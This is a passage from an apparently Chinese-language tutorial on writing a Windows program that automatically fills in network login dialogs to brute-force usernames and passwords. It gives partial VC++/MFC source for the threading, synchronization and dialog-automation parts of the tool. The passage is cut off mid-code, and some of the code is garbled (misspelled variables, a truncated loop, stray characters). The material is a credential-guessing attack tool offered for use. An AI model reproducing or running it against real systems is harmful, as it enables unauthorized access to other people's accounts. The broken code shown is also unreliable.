利用SendDlgItemMessage()或SetDlgItemText()來輸入用戶名及密碼。利用SendMessage()發送“確定”消息。這樣一來,就利用程序完成了整個網絡登錄過程。在重復這個過程中采用枚舉的用戶名和密碼,進而完成網絡用戶名及密碼的枚舉猜解。
一、猜解過程流程:
為說明問題,下面只寫出主要的過程。對于關鍵過程給出用VC++實現的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序將再枚舉一個新的用戶名,然后重新枚舉這個字符集合。關于源碼中各函數的具體用法,請參閱MSDN。關于多線程的用法,可參閱《VisualC++技術內幕》。
下面給出關鍵流程的源代碼
1. 全局變量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數
CEvent gEventNextPass;//取下一個密碼,為實現同步引進
CEvent gEventPassOk;//已取得密碼,為實現同步引進
CEvent gEventNextUser;//取下一個用戶名,為實現同步引進
CEvent gEventUserOk;// 已取得用戶名,為實現同步引進
CMutex gMutex;//互斥量,只允許單線程訪問
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當前使用的密碼。
char cCurrentUser[MAX_USER_LENGTH];//當前使用的用戶名
2. 線程啟動:
{
file://密碼枚舉線程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過程的代碼差不多
}
file://用戶名枚舉線程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚舉線程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}